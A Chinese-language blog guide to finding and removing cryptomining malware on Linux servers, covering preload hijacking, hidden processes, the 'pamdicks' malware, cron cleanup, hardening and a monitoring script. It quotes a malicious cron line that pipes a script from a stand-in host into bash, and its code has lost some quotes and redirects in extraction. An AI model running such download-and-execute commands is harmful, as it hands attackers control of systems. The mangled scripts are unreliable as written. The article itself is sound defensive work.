Linux系统遭遇挖矿病毒深度排查与根治指南

张开发
2026/4/11 15:16:39 15 分钟阅读

分享文章

Linux系统遭遇挖矿病毒深度排查与根治指南
1. 挖矿病毒入侵的典型症状与初步判断最近接手了几台CPU飙到100%的Linux服务器登录后top命令一看居然没有明显的高占用进程。这种情况十有八九是挖矿病毒在作祟——它们会伪装成系统进程甚至修改系统工具的输出结果来隐藏自己。我见过最狡猾的病毒会把top、ps这些命令都给劫持了让你看到的永远是岁月静好的假象。遇到这种情况先别慌教你几个快速验证的方法。首先用cat /etc/ld.so.preload看看有没有异常的.so文件挖矿病毒最喜欢在这里做手脚。去年处理的一个案例中就发现病毒注入了libprocesshider.so来隐藏进程。另一个特征是/tmp目录下会突然出现一堆名字随机的可执行文件这些往往是病毒的下载器。更明显的迹象是计划任务被篡改。用crontab -l检查时如果看到类似* * * * * curl -s http://malicious.site/script.sh | bash这样的任务基本可以确诊。有次我在客户的服务器上发现病毒创建了十几个cronjob每分钟就从不同域名下载payload。2. 深度排查隐藏进程的实战技巧2.1 绕过病毒伪装的检查方法当top显示一切正常但CPU爆满时可以尝试这些未被病毒污染的检查方式# 使用busybox版的系统命令病毒通常不会感染这些 busybox top busybox ps aux # 检查不可解释的网络连接 ss -tulnp | grep -E ([0-9]{1,3}\.){3}[0-9] lsof -i :3333 # 挖矿常用端口去年有个客户的服务器用普通ps查不到异常但用busybox ps就揪出了伪装成[kworker]的挖矿进程。病毒修改了/usr/bin/ps的输出过滤逻辑真是防不胜防。2.2 通过系统文件验证进程真实性所有进程在/proc目录都有对应记录这里的数据病毒很难完全伪造# 对比进程列表与实际运行程序 ls -alh /proc/*/exe 2/dev/null | grep deleted ls -alh /proc/*/cwd # 查看进程工作目录 # 检查异常的内存映射 for pid in $(ls /proc | grep ^[0-9]); do if grep -q libprocesshider /proc/$pid/maps 2/dev/null; then echo 发现隐藏进程: $pid fi done曾经通过/proc/pid/exe的对比发现某个sshd进程实际指向的是/tmp下的恶意文件这才顺藤摸瓜找到了病毒本体。3. 顽固病毒pamdicks的专项清除方案3.1 彻底清除病毒文件pamdicks这类病毒之所以难缠是因为它会替换系统关键命令如chattr、lsmod植入内核模块设置文件不可修改属性完整清除步骤应该是# 先恢复被篡改的系统命令 yum reinstall coreutils procps -y # CentOS apt-get --reinstall install coreutils procps -y # Ubuntu # 删除病毒文件前需要解除属性锁定 chattr -i /usr/bin/pamdicks 2/dev/null rm -f /usr/bin/pamdicks rm -f /etc/ld.so.preload # 清除动态链接劫持 # 检查内核模块 lsmod | grep -E pamdicks|libprocesshider3.2 防止病毒死灰复燃清除后要做加固处理# 创建防写占位文件 touch /usr/bin/pamdicks chmod 000 /usr/bin/pamdicks chattr i /usr/bin/pamdicks # 清理定时任务 systemctl stop cron rm -f /var/spool/cron/* rm -f /etc/cron.d/* systemctl start cron记得检查/etc/rc.local、/etc/profile这些启动项病毒经常在这里埋后门。有次清理完三天后病毒又复活了最后发现是/etc/profile.d里藏了下载脚本。4. 系统加固与持续监控方案4.1 关键防护措施实施清除病毒只是开始真正的挑战是防止再次感染。建议配置# 关键目录监控 echo /usr/bin /etc /tmp /var/spool/cron /etc/audit/rules.d/monitor.rules auditctl -R /etc/audit/rules.d/monitor.rules # 限制可疑目录执行权限 chmod -R o-x /tmp chmod -R o-x /dev/shm # 安装入侵检测工具 yum install aide -y aide --init mv /var/lib/aide/aide.db.new.gz /var/lib/aide/aide.db.gz4.2 自动化监控脚本示例这个脚本可以定期检查常见挖矿病毒特征#!/bin/bash check_items( /etc/ld.so.preload /usr/bin/pamdicks /tmp/.X11-unix libprocesshider ) for item in ${check_items[]}; do if [ -f $item ] || grep -qr $item /proc/[0-9]*/maps 2/dev/null; then echo [$(date)] 发现可疑项目: $item /var/log/virus_scan.log wall 警告检测到挖矿病毒特征 $item fi done # 检查异常CPU使用 if [ $(top -bn1 | grep Cpu(s) | awk {print 100 - $8}) -gt 90 ]; then if ! top -bn1 | head -20 | grep -qE (java|nginx|mysql); then echo [$(date)] 高CPU占用告警 /var/log/virus_scan.log fi fi建议放到cron里每小时跑一次。去年用这个脚本帮客户提前发现了正在传播的病毒当时CPU刚升到40%就被拦截了。

更多文章